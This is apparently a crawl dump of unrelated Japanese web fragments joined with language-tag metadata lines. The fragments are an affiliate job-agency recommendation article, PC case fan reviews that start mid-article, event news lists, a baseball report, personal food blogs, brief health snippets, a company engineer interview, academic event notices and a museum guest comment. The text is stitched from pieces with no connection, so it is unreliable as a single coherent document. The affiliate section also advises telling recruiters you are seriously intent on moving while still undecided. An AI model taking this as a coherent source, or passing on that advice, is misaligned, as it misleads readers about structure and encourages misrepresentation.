転職エージェントは、最低でも3~5社は同時に登録するのが成功のコツ
転職エージェントを介した転職成功のポイントは相性の良いエージェントに出会うことです。
人間同士のやり取りですので、転職エージェントとあなたとの相性がとても大切です。
1、2社だけとりあえず登録してとなると、相性が本当にわかりにくいので、必ず会って比較してフィーリングの合うエージェントさんを見つけるようにしましょう。
お互い人間同士なので必ず合う合わないはあります。
一度会って話してみて、合わないなと思った転職エージェントは利用しなければ良いんです。
私の場合は、まずは5社位さくっと登録してみて転職エージェントさんと面談して相性が良さそうな2~3社に絞って転職活動をして上手くいきました。
こちら側としても良い転職エージェントに出会えるかどうかは人生の大きな分かれ道です。
まずは複数登録して、合う人とだけ協力して転職活動を始めるべきなのです。
優良求人も転職エージェントごとに独占して紹介しているものが多いので、複数登録しないと優良求人に出会える可能性が広がらないので損をします。
最低でも3~5社は同時に登録しないと、後から更に行きたい企業が見つかったけど既に1社内定が出てしまい、決断に悩むことが多い
また、転職活動を始めて、1社内定が出ると通常その企業への入社意思の返事の期限は1週間程度です。
同時に転職エージェントに登録して、同時に企業へのエントリーを開始することで、興味のある企業の選考がほぼ並行して進みます。
同時に複数社の転職エージェントに登録しておかないと、あとから別のエージェントに登録して物凄く行きたい企業が見つかったけれど、既に他の企業の内定が先に出てしまい、内定を受けるべきか断るべきかとても悩んで後悔することが本当に多いので、戦略的に5社くらいは同時に転職エージェントに登録しておいた方が良いと思います。
学歴や経歴に自信がなくても登録すべき4つのエージェント。滅多に出ない超絶ホワイト求人情報も
転職は「タイミング」と「登録する転職エージェント」で決まります。
これから紹介する4つの転職エージェントサイトに登録してください。1サイト2分~5分、4サイト登録しても15分程度で終わります。
転職活動は転職するかどうかを判断する活動です。
まずはこの4社に登録してみて、実際に転職エージェントに会って、求人を紹介してもらって下さい。直接会う時間が取れない場合は電話面談もOKです。
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ブラック企業に搾取されているときって、悪条件で生きるのが当たり前になりすぎていて、転職エージェント経由の求人募集を見て、初めて現実はもっとあたたかいって事を知りますよ。
良い縁というのは黙っていてもやってきません。自分で動いて自分で手に入れるんです。
たった15分の差で年収が100万円以上もあがる可能性があるなら、「登録しない」という選択肢はありえません。
リクルートエージェント
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リクルートエージェントは、転職するなら必ず登録した方が良いです。担当してくれるエージェントさんがかなり優秀な人が多いです。
僕の担当してくださった方は40代女性の方だったのですが、キャリアアドバイザー歴10年以上で、僕の不利な職歴からでも、どういうステップでキャリアアップを目指していくべきかを的確に教えてくれました。
とにかく求人数が豊富で、有名企業の求人がごろごろあります。雇用条件もよいものばかり。
バリバリ年収を上げてキャリアアップして行きたい人はもちろん、落ちついた環境で長く働き続けられる企業など幅広い求人があるので、ここは絶対に登録しておきましょう。 こちらから登録できます。
おすすめ度:★★★★★
【公式サイト】 https://doda.jp/
dodaもリクルートエージェントと並ぶ業界トップクラスの豊富な求人数を持つエージェントです。
dodaでしか応募することが出来ないdoda限定求人も結構あるので、必ず登録しておいた方が良いです。dodaは全国に支店があり、求人も幅広いです。
大手企業はもちろん、大手企業の子会社など業績が安定していて給与、福利厚生も良い求人もあるので、待遇の良い条件を探したいときには最適です。
残業時間20時間未満、土日休み、賞与2回、年収500万円以上のいわゆるホワイト待遇の企業を探すときには特におすすめです。
僕が利用したときは、30代の同年代の方が担当についてくださり、若いけれど親身になって僕の転職が成功できるようにサポートしてもらいすごく助けられました。 こちらから登録できます。
おすすめ度:★★★★★
【公式サイト】https://mynavi-agent.jp/
マイナビエージェント は、20~30代の転職サポートに特に力を入れているエージェントです。
財閥系の大手企業や大手ITベンチャー企業など、20~30代の人がいいなと感じる求人が多い印象でした。「え!?こんな有名企業の求人もあるんだ!」と驚きました。
マイナビエージェントが取り扱う全求人案件のうち80%以上が、マイナビエージェント登録者しか申し込めない非公開求人になっていますので、ここも登録すべきです。こちらから登録 できます。
【公式サイト】http://www.pasonacareer.jp/
パソナキャリア は、創業40年以上の歴史がある人材紹介グループ「パソナ」が母体の転職エージェントです。
リクルートエージェントやDODAに比べると求人数は若干少ないですが、人材紹介サービス業の老舗としての手厚いサポートが心強いです。
パソナグループは創業時から女性の就労支援に力を入れていますので、女性の方はキャリアの相談先として必ず登録しておきたいです。こちらから登録 できます。
4つの転職エージェント以外で僕が登録して役に立ったサイト
転職エージェントはあなた専任のアドバイザーが、あなたにあった求人を探してくれて転職成功をサポートしてくれるサービスですが、僕はそれ以外にも転職情報サイトにも登録してました。その中で特にこのサイトは役立ったものを紹介します。
全て無料で使えるので少しでも幅広く情報収集したければ登録しておいて損はないです。
【公式サイト】https://next.rikunabi.com/
リクナビNEXT は、リクルートエージェントとは違い、専任のエージェントさんはつきませんが、自身の情報さえ登録しておけば、企業側からスカウトメールがバンバン届くので、自分の経歴はどんな企業から重宝されているのかを知ることができます。
転職情報サイトのなかでも圧倒的に求人情報が多いので、職種を絞りきれていない人はこのサイトに登録して世の中にどんな仕事があるのかを知るのにも役立ちます。
「グッドポイント診断」 という自分の強みを無料診断してくれるサービスもあるので、転職活動を始めるときには一度やってみると自分の適職を考えるのに役立ちます。こちらから登録 できます。
さいごに・・・転職エージェントから、優先的にお宝求人を紹介してもらう方法
転職エージェントとの初めて会う時には、情報を優先的にもらうため「良い条件の会社があればすぐに転職したい」と前向きに伝えて下さい。
転職エージェントは成果報酬ビジネスですので、転職する気がゼロの人には親身になってくれません。
優先的に対応してもらい、優先的にお宝求人を紹介してもらうには、前向きな姿勢を伝えることがポイントです。
まだ、本気で転職するかどうか悩んでいるときでも「転職の本気度が高い」ことを伝えるだけで紹介してくれる案件の量も質も変わってきます。
エージェントを通して企業に応募するだけで内定率がぐんと上がります。
転職エージェント経由での応募というのは、「エージェントが推薦するおすすめ人材」という判子が押された状態からスタートできるのでかなり有利です。
転職後わずか数ヶ月で退職して、元の会社に出戻りした不利な経歴がある僕ですら、エージェント経由なら4ヶ月で内定3社も貰えたんですから。
まずは、 リクルートエージェント、 doda、マイナビエージェント 、パソナキャリア 、リクナビNEXT で情報収集してみてくださいね。
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1.2 ENERMAX CLUSTER ADVANCE UCCLA14P
ENERMAX T.Bサイレンス 14cm PWM UCTB14P
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140mmのおすすめファンといえば真っ先に思いつくのがこのUCTB14Pです。
まず静かであること。最大回転で回さない限り風切り音も気になりませんし、軸音や振動音に関してはまったく気にならないくらい静かです。
今までケースファンの音に悩んでいた方は是非このファンと取り替えてみてください。静かになったなぁ!って思うはずです。
風量も問題なく、PCケース内のエアフローを改善したいと思う人に一番ぴったりのおすすめケースファンだと思ってます。
LEDが付いていないので光り物が好きな人にはちょっと物足りないかもしれないです。けれどLEDが無いのが逆にまたいいと思わせる価値のあるケースファンだと思います!
リンク【ケースファン】ENERMAX T.B.Silence-PWM UCTB14P レビュー
【ケースファン】ENERMAX T.B.Silence-PWM UCTB14P レビュー
夏になると特にパソコン内部の温度が気になります。 僕が今使っているパソコンは自作パソコンなのですが、実はそれに使っているケース...
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ENERMAX CLUSTER ADVANCE UCCLA14P
ENERMAX エナーマックス PCケースファン クラスターアドバンス14㎝ UCCLA14P
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光り物が好きな方ならこちらのUCCLA14Pもおすすめです。
白色のLEDが4個搭載されていて、UCCLA14P自身の存在をアピールするだけでなく、ケース全体のアクセントになっていますね。
LEDだけでなく性能も、メーカ公式スペックでは最小ノイズ9dBA、最大風量92.21 CFMという超高スペックになっています。
まぁ、最大風量を目指そうと思ったら最大回転させないといけないのでそこそこのノイズが発生してしまいますけどね。
逆に少し風量を落として運用すればかなり静かなケースファンとして使えますし、それでも十分な風量があるのがすごいところです。
さらに3段階で回転数を選べるスイッチが備わっており、システム環境や好みに合わせて回転範囲を選ぶことができます。
先ほど紹介したUCTB14Pと比べると少しだけ価格が高くなっていますが、スイッチなどギミックもあり、光り物が好きな人にはおすすめのケースファンです。
GELID Silent 14PWM
GELID ケースファン 14cm SILENT14 PWM
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SILENT14PWMの特徴として、まず安いこと。他のPWMファンと比較してかなり安価です。
静音を謳っているのでそこそこ静かですが、やはり回転数を上げれば上げるほど音が気になるのは仕方ありません。
安さ故か、軸音など作りのチープさについてよく聞きますが、とりあえず安くPWMファンを手に入れたいと考えている人におすすめなのがこのSILENT14PWMでしょう。
ファンサイズ 120mm角
次に120mmのファンですが、基本的には先ほど紹介した140mmファンで気に入ったものがあれば、それの120mm版を購入すれば間違いないと思います。
基本的に、ファンサイズが小さくなればその分回転数で風量を補うことになります。同じ風量にしようと思えば回転数を上げなければならないので、それだけノイズも大きくなっていきます。
とはいっても120mmファンしか空いている場所が無いといった状況も多いので、そんなときに120mmファンは活躍してくれますね。
ENERMAX T.B.Silence-PWM UCTB12P
ENERMAX PCケースファン TBサイレンスPWM 12cm UCTB12P
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140mmファンで紹介したUCTB14Pの120mm版です。
最大回転数が増えた代わりに、最大回転時のノイズも増えています。
デザインや構造に関してはまったく同じになっています。
ケースファンは常に最大回転させなくてもいいものなので140mmと120mどちらも取り付けられるなら、まずは140mmのUCTB14Pから集めることをおすすめします。
ENERMAX CLUSTER ADVANCE UCCLA12P
ENERMAX LEDファン クラスターアドバンス12㎝ UCCLA12P
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これも140mmファンで紹介したUCCLA14Pの120mm版です。
先ほど紹介したUCTB14Pと同じで回転数やノイズこそ違いますが構造は同じになっています。
強いて言うならこちら、120mmであるUCCLA12PのほうがAmazonでは人気”らしい”です。
GELID Silent 12PWM
GELID 静音ファン Silent PWM 120mm ハイドロダイナミックベアリング採用静音FAN Silent12 PWMGELID Silent12 PWM
Amazon.co.jpで詳細を見る
これも140mmファンで紹介したSilent 14PWMの120mm版です。
メーカーがGELIDからサイズに変わっているのは、サイズがGELIDと日本での代理店契約を結んでいるからでしょうが、どうしてファンサイズによって統一していないのかは分かりません……Amazonさんの気分なのかもしれません。
後は他の140mmと120mmの違いと変わりません。
風量があって静かなケースファンというまさに贅沢な望みですが、これらのファンを使っておけば現状よりも満足することは間違いないと思います。
超静音や大風量に特化したファンや、ニッチな要求に応えるようなケースファンもありますが、まずはこれらのような根本から解決できるような万能ケースファンを使うことをおすすめします。
熱対策は忘れがちですが大切なことです。それにケースファンの音が気にならないってのは思った以上に快適なものなんですよ。
あと、文中でも書きましたが、140mmと120mmなら140mmのケースファンから集めることをおすすめします。効果もそっちのほうが感じやすいと思います。
最後に、ケースファンが取り付けられるかどうかは自分のPCケースを見ながら確認してくださいね。無いとは思いますが120mmしか取り付けられないケースに140mmを取り付けようとしちゃった、なんてことにならないよう注意です!
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2015.05.21 「TOKYO GIRLS COLLECTION」と動画ファッションマガジン「C CHANNEL」新展開
2015.04.01 大学新入生へ向けた新企画が始動! 史上最大級の“新歓GIRLS PARTY” 「TGC CAMPUS 2015 supported by 渋谷肉横丁」開催のお知らせ
2015.02.25 国連が提唱する 「女性が輝く社会に向けて」 をテーマにした 「One Woman Campaign」 への参加のお知らせ
2014.12.16 JALホノルルマラソン2014 TOKYO GIRLS RUNより大見謝葉月が初参加・初完走! 樋浦姉妹、ホノルルマラソン自己記録を更新!
2014.12.03 『第20回 東京ガールズコレクション 2015 SPRING/SUMMER』開催決定!
2014.11.12 TGC Night初のクリスマスパーティ 『TGC Night Sweets Xmas Party』 開催のお知らせ
2014.09.26 TGC Night Halloween Partyが大阪に再び上陸! 『TGC Night Halloween Party in OSAKA 2014』 開催のお知らせ


langs: ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja en

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入園の準備に関する名前付けは段取り八分
入園の時の名前つけに手作り感を出していくにはスタンプはだめ?
入園の準備の時期になると、悩み事として出てくるのが名前つけです。 簡単なことと思われるかもしれませんが、実際に行ってみると数が多いこともあって、苦戦してしまいます。
マジックなどで書いてみても、文字が崩れてしまうこともありますし、にじんで見えなくなってしまうこともしばしば。
これではせっかくの名前つけも、台無しになってしまうのです。
だからと言って、スタンプを捺してみたりしても、手作り感がなく、味気ないと感じてしまうのも致し方ないことかもしれません。
しかし、一工夫することで、手作り感を引き出してあげることもできますし、手間も軽減することができるといえるのです。
おなまえスタンプは、名前つけということだけを考えれば、入園時期にはもってこいのものであるといえるでしょう。
名前を入れるという機能に特化しているため、正確にしっかりと残すことができるのです。
そこに、イラストのゴム印を使ってみます。
うまく並べてみるだけではありません。
ちょっとずらしてみたり、角度を変えてみたりしながら捺していくと、無機質なはずの文字が楽しく見えても来るのです。
こうしたイラストのゴム印は種類豊富ですから、名前つけのスペースに合わせて変えてみてもいいですし、持ち物によってバリエーションを増やすのもいいでしょう。
自分マークのように、何か一つに決めていくことができれば、効果も高まります。
うまく組み合わせることができると、こういった手作り感も前面に出しながら、名前つけという大切な機能も失うことがないのです。


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打撃に苦しんでいたオコエ選手を指導したのは、池山一軍打撃コーチ。現役時代で9年、コーチとして4年、名将・野村克也氏のもとで野球に励んできた池山コーチ。ヤクルトスワローズのコーチ時代は2015トリプルスリーを達成した山田哲人選手の1年目を指導した。
オコエ選手は金属バットから木製バットに替わる高卒1年目の選手がおちいりやすいトラブルをかかえていた。木製バットは芯でとらえなければ打球は飛ばない。
池山コーチはバットの芯の位置や、芯をとらえやすいスイングなどを一から指導した。宿舎に帰ってもそれは続いた。池山コーチも現役時代の一年目、同じようにコーチに指導してもらった経験がある。
「能力的に吸収が早い。段階を踏んで、僕の能力、経験を活かしてやっていきたいなと思います。」
と池山コーチは意気込む。
まだまだプロ生活は始まったばかりのオコエ選手であるが、オープン戦からその大器の片鱗を見せている。打率成績こそ.174と苦しんだが得点圏打率はなんと.500になる。この勝負強さに関して楽天の梨田昌孝監督は
「ノーヒットで終わりそうな時に誰かが回してくれたり、彼の前には必ずランナーが出たり、本当に持っているなと。いいもの持ってる感じはします。」
実力がなければいけないことは当然であるが、スターと呼ばれる選手はここぞという場面で回ってきたり、ふいにチャンスが巡ってきたり、ある程度の運も兼ね備えている選手が多い。そういう意味でもオコエ選手は非常に楽しみな逸材なのである。
池山コーチの指導もあり、芯に当たる打球も増えてきた。開幕一軍こそなったが、すぐに二軍に落ちた。しかし、再びきた一軍のチャンスで、安打と打点を記録した。やはり持っている。これからのオコエ選手に注目したい。
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和菓子アルバム | 素敵な街小田原から Bonjour | 美味しいもの
10月のある日、母を見舞う為に何気なく院内の売店に入り、ふと目にしたのが栗饅頭でした。なにか美味しそうな感じです。ごく普通にあるあの頭が艶々の栗饅頭ではなくて黒糖色の皮の物です。栗と書いてあるとつい食べたくなってしまい即買いました。思っていた通りとても美味しかったです。病院に行く度にそのコーナーに行くのですがいつも売り切れでした。ヤマザキの商品でしたのでスーパーなどでも探したのですがなかなかありません。そこで病院内の売店の方に「栗饅頭はいつ入荷するのですか?」っと。「言ってくれればとっておきますよ、幾つ要りますか?」売店の方。思わず嬉しくなって「15個お願いします」。すぐに売店の方が電話で問屋さんに聞いて下さいました。
「お客さん残念でした。もう1日早ければ良かったのに、あの栗饅頭は期間限定で10月いっぱいで中止なんですよ」その日は10月31日でした。あ~残念。
その栗饅頭が食べたくて午後から作ることに決めました。
小豆餡に栗のペーストを入れて栗の味を濃厚にします。そして茹で栗もたっぷりと入れて、美味しい栗餡ができました。
生地はもちろん黒糖生地にしました。
味はもちろん自分で作ったものの方がはるかに美味しいですが、きっかけをくれたヤマザキの栗饅頭には感謝ですね。
久しぶりの和菓子作りは心がしっとりと落ち着きます。皮で餡を包みながら懐かしい昔の事思い出していました。
こんなに栗饅頭にこだわっていたのは美味しい味に出会っただけではなく、今年はまだ栗のお菓子を作りもしなければ食べてもいなかったからだと思います。
2014-11-05 (水)
paris お土産 | 素敵な街小田原から Bonjour
このような物を買ってきました。
クロワッサンの缶詰です。この中には4個分のクロワッサンの生地がグルグルと巻かれた状態で入っています。醗酵はしなくてもよく自分でクロワッサンの形を作りそしてオーブンで15分焼けば出来上がりです。
点線部分をナイフでカットします。
クルクルと巻いて、オーブンに入れて焼き始めます。
オーブンに入れて15分経てば焼き上がりです。
末娘からのプレゼントのマシーンでエスプレッソを入れすっかりパリジェンヌ気分。
このクロワッサンはサクサクではなくしっとり系のクロワッサン、というよりパンかな?
濃縮バターが入っているのでバターの香りはします。これならば日本のベーカリーのクロワッサンの方がずーと美味しいですね。それにしてもフランスでこのような缶詰を一体誰が買うのでしょうか。あちこちで美味しいパンを売っているのに。
でも私はとても楽しいお買い物をしたと思っています。
2014-11-03 (月)
楽しいこと | 素敵な街小田原から Bonjour
90歳の私の父は週1でデイサービスを利用しています。朝9時に家を出て施設でたっぷり楽しみ夕方5時頃に帰宅します。初めてこの施設を利用した日私は「どんな所だったの」と父に聞きましたら「お昼ご飯がおいしかったな」と、父。
その後も「美味しいご飯が出るんだよと、みんなにも食べさせてあげたい」というようになりました。
そしてデイサービスのある今日、とうとう父がお昼ご飯をお弁当として買って来てくれました。
素朴ですが蓋を開けると美味しそうなおかずのよいにおいがしました。
ご飯のふんわりとした炊き具合とおこめの美味しさはお年寄りには嬉しいでしょう。
こちらの施設は以前は小田原の老舗の旅館でした。
板前さんが作られたものかどうかは分かりまでんがお顔の見えるようなお弁当でした。
父は 昔はお肉が大好きで時には牛のヒレを1本買って私達にも振舞ったりしていました。
それから何十年も経った今、今日のような心のこもったお昼ご飯を喜んで食べています。上手に年をとってきてくれたことに私は感謝の気持ちでいます。
ごちそうさま、おいしかったわ、又来週も買ってきてね。と明日父に伝えるつもりです。
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腸内環境は生活習慣や食べ物、ストレスなどでも大きく変化を起こすので日々の食事と内面からの健康が必要になってきます。
しかも、善玉菌を増やす食事は毎日取らなければならないということを知りました。善玉菌の餌となる、オリゴ糖と食物繊維を多くとるということです。
豆類や海藻類、ごぼうなどの根野菜をスープなどにして毎日いただくようにしました。スープにするとあったまるし、たっぷりいただけるのでダイエットにもなるんです。


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text:
さっきの話に戻りますが、私は今日これから仕事なので仕事が終わってからみんなと合流です。私が仕事の間、みんなは観光するそうですよ・・・。そりゃそうなんですけどね。 しかも、用意周到な子もいまして!わざわざ都内でネイルサロンを予約した子がいるんです。ネイルサロンでジェルしてもらって、更に観光もしてっていうスケジュール、主婦とは思えないですよ。
観光する人、ネイル行く人、ホテルとっちゃった人など色々いますが・・・、とにかく今夜は朝まで楽しんで、お母さんたちのストレス発散にもなったり私の発散にもなったりしたらいいなって思ってます。思い出に残る最高の日になるはずです。


langs: ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja zh zh en ja

text:
普段の子宮がどのような働きをしているのか、位置やその構造はどうなっているのか。また、どのような仕組みで妊娠するのか。そして、子宮と関係の深い女性ホルモンとは?
子宮を知ることは、健康のためだけではなく、女性として輝くことや、美容の向上にも繋がってきます。女性にとってとても大切な部分である子宮を正しく知って、女性特有の病気に備えましょう。


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SUZURIの中の話 - 狂ったもの好きな中の人たち | スタッフインタビュー | 採用情報 | GMOペパボ株式会社
栗林 健太郎(あんちぽくん)
GMOペパボの技術責任者。人間たちからはあんちぽくんと呼ばれている。 >@kentaro
久保田 竜自(くぼりゅー)
EC事業部カラーミーショップグループ。SUZURIの画像合成部分やUIなどフロントエンド周りを担当。 >@hadashiA
喜多 啓介(きたけー)
EC事業部 カラーミーショップグループ。アプリケーションロジックや運用に関わる部分を担当。 >@kitak
ペパボのトップエンジニアであるあんちぽくん(antipop)がエンジニアを招き、サービスの仕組みやエンジニアの働き方について喋りまくる通称『あんちぽの部屋』。記念すべき第1回目は、サービス開始1ヶ月で会員が1万人を突破したSUZURIのエンジニア2人と共に、全3回でお送りします。
今日は、今年2014年4月にリリースされた新サービスSUZURIの担当エンジニアのおふたりに、お話を聞きたいと思います。まず、お2人それぞれ簡単に自己紹介をしていただけますか。
久保田竜自です。くぼりゅーと呼ばれています。
SUZURIの画像合成部分やUIなど、ユーザーが直接触れるフロントエンド周りを担当しています。
ユーザーの手によってアップロードされた画像を、Tシャツやマグカップに印刷されているかのように画像合成して見せる部分がSUZURIの肝ですが、くぼりゅーさんはそこを担当されていると。
そしてもう1人のエンジニアです。
喜多 啓介と申します。会社ではきたけーと呼ばれております。
SUZURIでは主に、アプリケーションロジックとか運用に関わる部分を担当しています。
まず2人が担当するサービスについて訊きたいんですけど、SUZURIとはどういうサービスですか?
自分の持っている画像や写真を使って、オリジナルの商品を作って売れるサービスです。大事なポイントは、作るのが楽しいっていうところでしょうか。
画像をポンと上げて、グッズになりますよーというだけじゃないおもしろさがありますよね。サービスが単純にカッコいいじゃないですか。
サービスのカッコよさは、デザイナーのデミさんの力が大きいと思います。
新しいサービスを立ち上げる時に、他社を含め、既存のサービスを参考にすることって多いじゃないですか。参考にしたほうが話が早いですし。でも、チームみんながそういうのが嫌いで、ホワイトボードを囲んだりして、チームみんなでゼロから考えました。
今までのECサービスは、そもそも売るものを持っている人でないとネットショップを開けなかったわけですが、SUZURIの登場で、売るものがなくてもECが始められるようになったわけです。
Tシャツとかマグカップとか、リアルなものを作りましょうっていう流れは、今まで僕らがやってきたサービスとはちょっと違う方向性ですよね。今まではユーザーが持っている商品を売るのをお手伝いをしていますって役割を担ってた僕たちが、物を作るところから売るところまでサービスとして提供するようになったというところで、ひとつ踏み込んだサービスなのかなと。
みんなちょっと狂ったようなサービスが好きなんです
技術的な話をする前に、まずはSUZURIのチーム体制を紹介してもらいましょうか。
開発が僕たち2人で、デザイナーがメインのデミさんと途中から加わった鹿くんの2人、あとは、ディレクターというかプロダクトの責任者としてdaiskip先生がいて、全部で5人ですね。
「こういう理由があるから、ここは絶対こうする!」っていうような、めちゃくちゃ強いリーダーがいたわけではなくって、何かを決める時は職種関係なくチーム全員で決めてきましたね。
そんな中で意見が分かれることも多いんですけど、趣味が合う人たちが偶然集まったのがよかったなって。好きなウェブサービスが似てたりして。たとえば一般人はあんまり好きじゃないだろうなって感じの、to.beっていうよくわからない画像サービスが好きだったり。
みんなちょっと狂ったようなサービスが好きなんですよね。
いわゆるヒエラルキーというよりは、もう少しフラットな関係で物事を決定するという感じですかね。
たとえば、サービスのコンセプトとかを決める時にフラットに進めていくと、なかなか「よし、こういう方向性でいくぞ!」という感じにならないと思うんですけど、それでもうまく進んだのは「これはこうやるのがいいよね」っていう感覚がみんな合ってたから、目指す方向がすぐ決まったというところでしょうか。
そんな中で、エンジニアのおふたりとしては、サービスの企画から開発、リリースへのプロセスにはどういうふうに関わってたんですか?
1~2週間を単位として、「今回は商品画像を合成するところまで作ってみようか」とか「次は商品を購入するところまで作ってみようか」というふうに区切って進めました。スクラム(※1)を導入してたわけではないんですが、カンバン(※2)は用意して、タスクを可視化していました。
SUZURIチームは、既存のルールをそのまま持ってくるのって好きじゃないんですよね。僕個人はどっちかっていうと好きなほうなんですけど。
自分たちでやりかたを模索して、カンバンを使ってみようとか、サービスの方向性はこういうふうに決めようとか、話し合いの中で勝手にそういう動きが出てくるんですよね。
(※1)スクラム チームで開発を進めるためのフレームワーク。 GMOペパボでは多くのサービスでスクラムに基づいた計画的かつ円滑なサービス開発が行われている。
参考: ペパボ採用担当ブログ|ペパボはスクラムを導入してるだす!
(※2)カンバン タスクを1つずつをカードにして貼り、開発の進捗を管理するボード。 可視化することで全員が現状を把握しやすくなり、それぞれの進捗や優先順位付けによって相談の上もしくは自発的にタスクを引き取ったり協力したりもする。
たぶんあの時くぼりゅーさん溜まってたんじゃないかな…
こういう機能を作りたい、という提案をチームのみんなにするときは、2人はどういうふうに持ちかけるんですか?アイデアをまず話して進めていくのか、先に作っちゃって「こういうのよくないですか?」って感じで見せちゃうのか。
両方ありますね。毎朝みんなで集まる朝会っていうのがあるんですけど、前日の夜に思いついたことを朝会の場で言ってみて、みんなの反応をみたり。提案してみんなが“シーン”ってなっちゃって「あれ、またこれイケてないやつ言っちゃったかな」って時もあるんですけど(笑)
逆に、「おおー!」って、みんなのテンションが上がる時もあるんですか?
結構あるんですけど、僕が覚えてるのは、ナビゲーション部分の空いてるところにゲームのロード中みたいな感じでヒントを出したらどうですかって言ったときに、鹿くんが爆笑していて、じゃあそれやろう!って雰囲気になったのを覚えてます。
リリース直前の開発って、どうしてもサービスになくてはならない機能から実装していくじゃないですか。そんな中で突然、遊び心みたいなのが浮かんでくるんですよね。たぶんあの時くぼりゅーさん溜まってたんじゃないかな…っていうか、溜まってたっていう言い方もおかしいな、ゲージが貯まってたっていうか…。
ゲージが貯まるっていう言い方もおかしいよ(笑)。
エンジニアとして自分が面白いと思うことをやりたいという気持ちがあって、それがある一定値を超えると、つまり、面白機能を実装しないままだとストレスが溜まってしまうっていうこと?
自然とそういうものを作っちゃうモードになる、みたいな感じですかね。その時のくぼりゅーさんの様子みてて、やべーなと思いましたもん。普段からくぼりゅーさんはタイピング早いんですけど、その時は淀みなく数十分ずっとタイピングし続けてて、傍で見ててやべーなって(笑)。
そんなだった??自分では普段と同じ感覚なんだけどなあ。
毎日どんどん仕事が増えていくんですけど、そんなに辛くないというか、自分でも増やしてしまいます。
アイデアがどんどん出てきて、自分で仕事を盛っちゃう感じですね。
開発者は、いいね!っていうアイデアが出ても、「めんどくせーな、もうちょっと簡単な仕様にできないですかね」ってなっちゃいがちなんですけすけど、それをやめて逆に自分で仕様を増やしていくぐらいの勢いでいこうと意識してるんです。
サービスを「こうするといい」みたいな確信なんてなかったですけど、鹿くんの笑ってる顔みたら、よし!やろうって思えました。


langs: ja ja cv ja ja en ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja en ja en ja en zh en ja en ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja en en ja ja ja ja ja ja ja ja ja ja ja en en en en en en en en en en en en en en en en en en en en en en en en ceb en en en en en ja ja ja ja ja ja ja ja ja ja ja fr ja ja

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at 2016-10-16 10:04
日本台湾学会定例研究会(歴..
at 2016-10-05 05:13
日本台湾学会定例研究会(歴史・政治・経済部会)第114回 日本台湾学会定例研究会(...
日本台湾学会定例研究会(歴史・政治・経済部会)第113回 日本台湾学会定例研究会(...
映画『太陽の子』上映会&トークセッションのお知らせ(大阪大学 外国語学部 台湾研究講座) 台湾映画『太陽の子』( ...
第73回台北定例研究会 以下のとおり、第73回台...
台湾文学連続講座「フォルモサからの風」東京 本イベントの詳細はこちら...
映画『太陽の子』上映会(早稲田大学台湾研究所主催) 映画『太陽の子』上映会+...
日本台湾学会定例研究会(歴史・政治・経済部会)第112回 日本台湾学会定例研究会(...
シンポジウム「東アジアの選挙と民主主義」 日時:2016年7月2日...
歴史ノンフィクション作家・陳柔縉講演会「日本時代台湾の面影を探す道」 歴史ノンフィクション作家...
2016年度台湾奨学金及び教育部華語文奨学金募集要項 2016年度の台湾奨学金...
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シンポジウム「東アジアにおける法の支配と民主制:台湾の経験からの教訓と未来への展望」
シンポジウム「東アジアにおける法の支配と民主制:台湾の経験からの教訓と未来への展望」《事前申し込み制》が、本郷キャンパスで明日開催されます。事前登録制ですが、まだ余裕があると思いますので、ぜひご参加下さい。
※ 事前申込制・参加無料
申込先: ruleoflawsymposium[at]gmail.com ※[at]を@に替えてください。
シンポジウム準備委員会(高原明生、平野温郎、高見澤磨、川島真、松原健太郎)
http://web.iss.u-tokyo.ac.jp/kyoten/activities/
用語:英語(日本語通訳なし)
Day 1: 24 June 2016
11:00 Opening Remarks (Prof. Takahara)
11:15 Keynote Lecture Professor WAKABAYASHI, Masahiro (Waseda University)
12:00 Lunch
13:15 Panel 1. The Taiwanese Experience of Democratization and the Rule of Law
Moderated by Professor KAWASHIMA, Shin (University of Tokyo)
Panelists: Professor LIN, Jih-wen (Academia Sinica)
Professor YEH, Jiunn-rong (National Taiwan University)
Professor Shelley RIGGER (Davidson College)
14:45 Discussion
Commentator: to be confirmed
15:15 Coffee break
15:30 Panel 2. The Business Environment in East Asia and the Rule of Law
Moderated by Professor HIRANO, Haruo (University of Tokyo)
Panelists: Mr. Peter CORNE (Dorsey & Whitney LLP)
Mr. TSOI, Herbert Hak-kong (Herbert Tsoi & Partners)
Ms. HSU, Kristy Tsun Tzu(Chung-hua Institution for Economic Research)
17:00 Discussion
Commentator: Professor Benjamin LIEBMAN (Columbia Law School)
Day 2: 25 June 2016
10:00 Panel 3. The Idea of the Rule of Law and East Asian Politics
Moderated by Professor TAKAHARA, Akio (University of Tokyo)
Panelists: Professor HE, Weifang (Peking University)
Professor Benjamin LIEBMAN (Columbia Law School)
Professor MATSUBARA, Kentaro (University of Tokyo)
11:30 Discussion
Commentator : Professor YEH, Jiunn-rong (National Taiwan University)
12:00 Lunch
14:00 General Discussion
For more details, get the flyer!
東京大学本郷キャンパス法学部3号館8階会議室 Conference Room, 8th Floor, Building No.3
活動状況 - 社会科学研究所現代中国研究拠点
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text:
静かな美術館の中で斉藤さんの作品を拝見させていただき、ゆったりと豊かな気持ちになりました。
喫茶コーナーでコーヒーを頂き、その際にお茶を頂いたお茶碗が「妙高夕照」初窯五十年・・・。
その書かれた文が、妙高、名香山山麓に雪椿の原生林あり山菜多くして里人をうるおす・・・とありました。まさにその村が私の生まれた懐かしい里です。
忘れもしません、その昔、村人はその原生林は共有地でそれぞれ切り囲炉裏の薪にしました。
小さい頃小さい手足を大人が自慢する、油分の多い椿の薪を見ながらあぶり・・・。私のまぼろしの椿の原生林。誰も知らないと思ったこのことを、このお茶碗に書かれていた。驚きと懐かしさで書いてしまいました。ありがとうございました。
おいしい紅茶とケーキ、そして静かなBGM、心やすらぐ時をすごさせて頂き感謝致します。
